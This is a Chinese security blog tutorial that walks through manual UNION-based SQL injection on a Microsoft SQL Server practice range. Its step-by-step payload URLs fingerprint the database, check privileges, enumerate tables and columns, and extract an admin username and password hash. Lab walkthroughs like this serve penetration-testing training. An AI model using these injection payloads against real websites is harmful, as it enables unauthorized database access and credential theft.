freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之基础篇:Microsoft SQL Server手注之联合查询注入
2021-08-31 09:10:32

Mssql数据库介绍

SQL ServerMicrosoft公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

Microsoft SQL Server是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

Mssql数据库测试环境搭建

完整安装SQL Server 2008数据库:https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

Mssql数据库权限介绍

sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users

Mssql数据库调用的代码

<% 
set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

注释:	uid:账号, pwd:密码

Mssql数据库手工注入

判断是否是Mssql数据库

and exists(select * from sysobjects) -

输入SQL语句,如果返回正常那么就说明网站所使用的数据库是Mssql数据库,因为Mssql数据库默认有一个sysobjects的表.

判断权限的SQL语句

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限

SQL手工注入漏洞测试(Sql Server数据库)

靶场地址:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

图片

注入点:http://219.153.49.228:42837/new_list.asp?id=2

判断是否是Mssql

http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

图片

返回正常,说明网站使用的数据库是Mssql

判断字段长度

http://219.153.49.228:42837/new_list.asp?id=2 order by 5

图片

order by 5返回错误我们往前推一位:

http://219.153.49.228:42837/new_list.asp?id=2 order by 4 

图片

order by 4返回正常,说明字段长度是4!

寻找字符型显示位

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型

图片

接下来我们一个个去猜测它的显示位:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

图片

'1'他没有任何反应, 说明它不在第1列,那么我们继续查下一个null

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

图片

这个时候他页面上就有一个数字"2",说明2这个位置我们可以去利用它!

我们继续看看第三位:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

图片

可以看到,我们的页面上又多出了一个‘3’,说明第三个显示位也可以去利用!

我们再来看看第四个(其实有两个显示位就足够了):

图片

猜测第四个的时候页面没有什么反应,说明它只存在‘2’‘3’两个显示位!

查询相关的信息

既然我们有了显示位,那么我们就可以利用显示位去查询我们想要得到的信息!

@@version-:获取版本信息
db_name():数据库名字 
user,system_user,current_user,user_name: 获取当前⽤户名 
@@SERVERNAME: 获取有关服务器主机的信息

获取版本信息

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null

图片

获取数据库名

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null

图片

获取当前数据库名

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null

图片

图片

图片

查询表明

http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

图片

这边查询出来第一个表示manage,然后我们再去查第二个(到了这里我的靶机重启了一下,所以端口变了):

http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
 
 注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

图片

查询出来第二个表名是announcement,如果想继续查的话继续用not in这条判断查询就行了!

获取列名

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
 
 注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

图片

这边查询出来第一个列名是id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

图片

查询出来第二个列名是username,我们继续查询第三个列名:

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

图片

第三个列名是password,这个时候我们就得到了usernamepassword列!

获取数据

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage	

图片

这个时候我们就注入出来了他的账号:admin_mz,密码72e1bfc3f01b7583

# 渗透测试 # SQL注入 # web安全 # mssql渗透 # MSSQL数据库
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录